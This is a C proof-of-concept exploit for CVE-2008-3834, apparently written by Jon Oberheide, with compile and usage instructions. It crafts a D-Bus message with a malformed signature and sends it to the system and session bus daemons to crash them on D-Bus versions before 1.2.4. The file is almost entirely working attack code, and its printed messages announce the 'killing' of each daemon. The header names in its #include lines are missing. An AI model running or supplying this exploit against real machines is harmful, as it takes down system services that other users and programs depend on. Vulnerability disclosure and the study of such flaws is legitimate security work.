/* * cve-2008-3834.c * * D-Bus Daemon Denial of Service < 1.2.4 * Jon Oberheide * http://jon.oberheide.org * * Usage: * * $ gcc `pkg-config dbus-1 --cflags` cve-2008-3834.c `pkg-config dbus-1 --libs` -o cve-2008-3834 * $ ./cve-2008-3834 * * Information: * * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3834 * * The dbus_signature_validate function in the D-bus library (libdbus) * before 1.2.4 allows remote attackers to cause a denial of service * (application abort) via a message containing a malformed signature, * which triggers a failed assertion error. * */ #include #include #include #include #include #define DEST "org.freedesktop.ExampleService" #define NAME "org.freedesktop.ExampleInterface.ExampleMethod" #define PATH "/org/freedesktop/sample/object/name" #define SIGNAL "ExampleMethod" int main(int argc, char *argv[]) { char sig[8]; uint32_t val = 0xdeadbeef; DBusMessage *message; DBusConnection *system, *session; DBusMessageIter iter1, iter2, iter3, iter4; printf("[+] creating malicious dbus message...\n"); message = dbus_message_new_signal(PATH, NAME, SIGNAL); if (!message) { printf("[-] error: could not create dbus message\n"); return 1; } if (!dbus_message_set_destination(message, DEST)) { printf("[-] error: could not create set dbus destination\n"); return 1; } sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR; sig[1] = DBUS_STRUCT_BEGIN_CHAR; sig[2] = DBUS_TYPE_INT32; sig[3] = DBUS_TYPE_INT32; sig[4] = DBUS_STRUCT_END_CHAR; sig[5] = DBUS_TYPE_INT32; sig[6] = DBUS_DICT_ENTRY_END_CHAR; sig[7] = '\0'; dbus_message_iter_init_append(message, &iter1); dbus_message_iter_open_container(&iter1, DBUS_TYPE_ARRAY, sig, &iter2); dbus_message_iter_open_container(&iter2, DBUS_TYPE_DICT_ENTRY, NULL, &iter3); dbus_message_iter_open_container(&iter3, DBUS_TYPE_STRUCT, NULL, &iter4); dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val); dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val); dbus_message_iter_close_container(&iter3, &iter4); dbus_message_iter_append_basic(&iter3, DBUS_TYPE_INT32, &val); dbus_message_iter_close_container(&iter2, &iter3); dbus_message_iter_close_container(&iter1, &iter2); printf("[+] connecting to dbus system daemon...\n"); system = dbus_bus_get(DBUS_BUS_SYSTEM, NULL); if (system) { printf("[+] killing dbus system daemon...\n"); dbus_connection_send(system, message, NULL); dbus_connection_flush(system); dbus_connection_unref(system); } else { printf("[-] error: could not connect to dbus system daemon\n"); } printf("[+] connecting to dbus session daemon...\n"); session = dbus_bus_get(DBUS_BUS_SESSION, NULL); if (session) { printf("[+] killing dbus session daemon...\n"); dbus_connection_send(session, message, NULL); dbus_connection_flush(session); dbus_connection_unref(session); } else { printf("[-] error: could not connect to dbus session daemon\n"); } dbus_message_unref(message); return 0; }